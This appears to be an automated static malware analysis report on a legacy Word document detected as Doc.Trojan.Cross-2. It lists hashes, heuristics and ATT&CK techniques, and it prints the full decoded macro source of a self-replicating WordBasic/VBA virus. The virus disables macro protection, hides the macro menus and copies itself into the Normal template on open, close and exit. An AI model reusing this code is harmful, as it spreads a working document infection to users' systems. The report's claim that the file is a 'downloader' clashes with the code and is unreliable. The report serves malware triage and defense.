Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9d333fdab2658737…

MALICIOUS

Office (OLE)

27.5 KB Created: 1998-04-09 01:46:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 607f71abc97d9e1a9edf4bdd48c5498e SHA-1: 23c6b6c494457ddc0a49436297562615e77d952d SHA-256: 9d333fdab2658737e0c07be39197b4eea024b2a9e6d04981d8c7db68d44c93f8
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains legacy WordBasic macros, specifically AutoOpen, AutoClose, and AutoExit, which are flagged as high severity. The AutoOpen macro attempts to export a component to 'c:\X.VIC' and then re-import it, suggesting it's designed to execute further malicious code. This behavior is consistent with a macro-based downloader. The ClamAV detection further supports its malicious nature.

Heuristics 5

  • ClamAV: Doc.Trojan.Cross-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Cross-2
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1395 bytes
SHA-256: fa4770c14f335654543c1a3a3e3387adc52ac5cfba561e52b388e1c7dbfc6544
Detection
ClamAV: Doc.Trojan.Cross-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "X"
Sub AutoOpen()
On Error Resume Next
Options.VirusProtection = False
Options.SaveNormalPrompt = False
CommandBars("tools").Controls("Macro").Delete
CommandBars("tools").Controls("Templates and add-ins...").Delete
Application.VBE.ActiveVBProject.VBComponents("X").Export "c:\X.VIC"
For I = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(I).Name = "X" Then NormInstall = True
Next I
For I = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(I).Name = "X" Then ActivInstall = True
Next I
If ActivInstall = True And NormInstall = False Then Set SexR = NormalTemplate.VBProject _
Else If ActivInstall = False And NormInstall = True Then Set SexR = ActiveDocument.VBProject
With SexR
With .VBComponents.Import("c:\X.VIC")
End With
End With
If ActivInstall = False Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
' seXr-1.Poppy (Fast, Small, Full Stealth and SR-1 Compatable)
' by VicodinES
End Sub
Sub AutoClose()
Call AutoOpen
End Sub
Sub AutoExit()
Call AutoOpen
End Sub